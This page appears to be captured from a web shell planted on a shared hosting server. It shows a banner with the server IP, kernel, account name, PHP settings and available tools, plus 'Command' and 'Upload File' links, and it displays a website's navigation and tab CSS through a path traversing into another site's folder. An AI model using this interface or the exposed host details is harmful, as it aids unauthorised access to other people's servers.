Server IP : 103.53.40.154 / Your IP : 18.119.133.206 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/ppcad7no/uttamnagarproperties.com/../irshadwoodenscrap.com/css/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
.nav { position: relative; margin: 0; padding: 0; line-height: 22px; float:right; z-index:99; } /* The main navigation link containers */ .nav>li { display: block; float: left; /* Displaying them on the same line */ margin: 0; padding: 2px; } /* The main navigation links */ .nav>li>a { /* Layout */ display: block; position: relative; padding: 10px 20px; /* Text */ font-family:Verdana, Arial, Helvetica, sans-serif; color: #fff; font-size: 14px; text-decoration: none; font-weight:600; border-radius:2px; /* Background */ background:#440522; /* For older browsers */ } /* Changing the color on hover */ .nav>li>a:hover, .nav>li:hover>a { color: #fff; background:#be457a; } /* The links which contain dropdowns menu are wider, because they have a little arrow */ .nav>.dropdown>a { padding: 10px 30px 10px 20px; } /* The arrow indicating the dropdown */ .dropdown>a::after { content: ""; position: absolute; top: 17px; right: 10px; width: 7px; height: 7px; -webkit-transform: rotate(45deg); -ms-transform: rotate(45deg); -moz-transform: rotate(45deg); -o-transform: rotate(45deg); border-bottom: 1px solid #fff; border-right: 1px solid #fff; } /* Changing the color of the arrow on hover */ .dropdown>a:hover::after, .dropdown:hover>a::after { border-color: #be457a; } /* The submenus */ .nav ul { position: absolute; margin: 0; padding: 0; list-style: none; display: block; } /* General layout settings for the link containers of the submenus */ .nav ul li { position: absolute; top: -9999px; /* Hiding them */ height: 0px; display: block; margin: 0; padding: 0; /* Making them to expand their height with a transition, for a slide effect */ -webkit-transition: height .2s ease-in; -moz-transition: height .2s ease-in; -o-transition: height .2s ease-in; -ms-transition: height .2s ease-in; } /* Displays the submenu links, by expading their containers (with a transition, previously defined) and by repositioning them */ .dropdown:hover>ul>li { height: 30px; position: relative; top: auto; } /* The submenu links */ .nav ul li a { /* Layout */ padding: 4px 20px; width: 210px; display: block; position: relative; /* Text */ font-family: "Open Sans Condensed", Arial, Helvetica, sans-serif; color: #fff; text-decoration: none; font-size: 16px; /* Background & effects */ background: black; background:#be457a; -webkit-transition: color .3s ease-in, background .3s ease-in; -moz-transition: color .3s ease-in, background .3s ease-in; -o-transition: color .3s ease-in, background .3s ease-in; -ms-transition: color .3s ease-in, background .3s ease-in; } /* Changing the link's color and background on hover */ .nav ul li:hover>a, .nav ul li a:hover { color: #f6691c; background:#440522; } /* Making the level 2 (or higher) submenus to appear at the right of their parent */ .nav ul .dropdown:hover ul { left: 247px; width:320px; top: 0px; } /* The submenu links have a different arrow which indicates another dropdown submenu */ .nav ul .dropdown a::after { width: 6px; height: 6px; border-bottom: 0; border-right: 1px solid #fff; border-top: 1px solid #fff; top: 12px; } /* Changing the color of the arrow on hover */ .nav ul .dropdown:hover>a::after, .nav ul .dropdown>a:hover::after { border-right: 1px solid #0fd0f9; border-top: 1px solid #0fd0f9; } <!--tab css start--> .container {width: 1000px; margin: 10px auto;} ul.tabs { margin: 0; padding: 0; float: left; list-style: none; width: 100%; } ul.tabs li { margin: 0; padding: 0; border-left: none; overflow: hidden; display:block; padding:8px; width:200px; -moz-border-radius: 1em 4em 1em 4em; border-radius: 1em 4em 1em 4em; text-align:center; background:#811044; text-decoration:none;color:#FFFFFF; float:left;font-family:Verdana, Arial, Helvetica, sans-serif; font-size:14px; font-weight:600; } ul.tabs li a { text-decoration: none; color: #fff; display: block; font-size:15px; font-family:Verdana, Arial, Helvetica, sans-serif; padding: 0 5px; font-weight:bold; outline: none; } ul.tabs li a:hover { border-bottom:solid #fe772d 4px; border:none; } html ul.tabs li.active, html ul.tabs li.active a:hover { background:#be457b;border-bottom:solid #FF0000 4px; border:none; } .tab_container { border-top: none; clear: both; width: 1000px; background: #fcd6f8; -moz-border-radius-bottomright: 5px; -khtml-border-radius-bottomright: 5px; -webkit-border-bottom-right-radius: 5px; -moz-border-radius-bottomleft: 5px; -khtml-border-radius-bottomleft: 5px; -webkit-border-bottom-left-radius: 5px; } .tab_content { padding: 10px; font-size:12px; font-family:Verdana, Arial, Helvetica, sans-serif; margin-top:5px; } .tab_content h2 { font-weight: normal; padding-bottom: 10px; border-bottom: 1px dashed #ddd; font-size: 12px; font-family:Verdana, Arial, Helvetica, sans-serif; } <!-- tab css end--> <!-- left menu start--> .createawebsitediv ul{/* Vertical menu */ } .createawebsitediv ul{ margin: 0; padding: 0; list-style-type: none; font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px; font-weight:400; font-variant:normal; font-weight:600; width: 250px; /* Width of Menu Items */ border-bottom: 0px solid #ccc; } .createawebsitediv ul li{ position: relative; padding:0; margin:0; } /*Sub level menu items */ .createawebsitediv ul li ul{ position: absolute; width:250px; /*sub menu width*/ top: 0; visibility: hidden; } /* Sub level menu links style */ .createawebsitediv ul li a{ display: block; overflow: auto; /*force hasLayout in IE7 */ color: #fff; text-decoration: none; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #ebbce6), color-stop(1, #be457b) ); background:-moz-linear-gradient( center top, #ebbce6 5%, #be457b 100% ); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebbce6', endColorstr='#be457b'); background-color:#ebbce6;cursor:pointer; padding: 10px; border: 0px solid #C00000; border-bottom: 1px solid #fff; } .createawebsitediv ul li a:visited{ color: #fff; background:#811044; } .createawebsitediv ul li a:hover{ color: #000; font-size:13px; font-family:Verdana, Arial, Helvetica, sans-serif; background:-webkit-gradient( linear, left top, left bottom, color-stop(0.05, #fff), color-stop(1, #f3f3f3) ); background:-moz-linear-gradient( center top, #fff 5%, #f3f3f3 100% ); filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff', endColorstr='#f3f3f3'); background-color:#bbbbbb;cursor:pointer; } /* Holly Hack for IE \*/ * html .createawebsitediv ul li { float: left; height: 4%; } * html .createawebsitediv ul li a { height: 4%; } <!--left menu end-->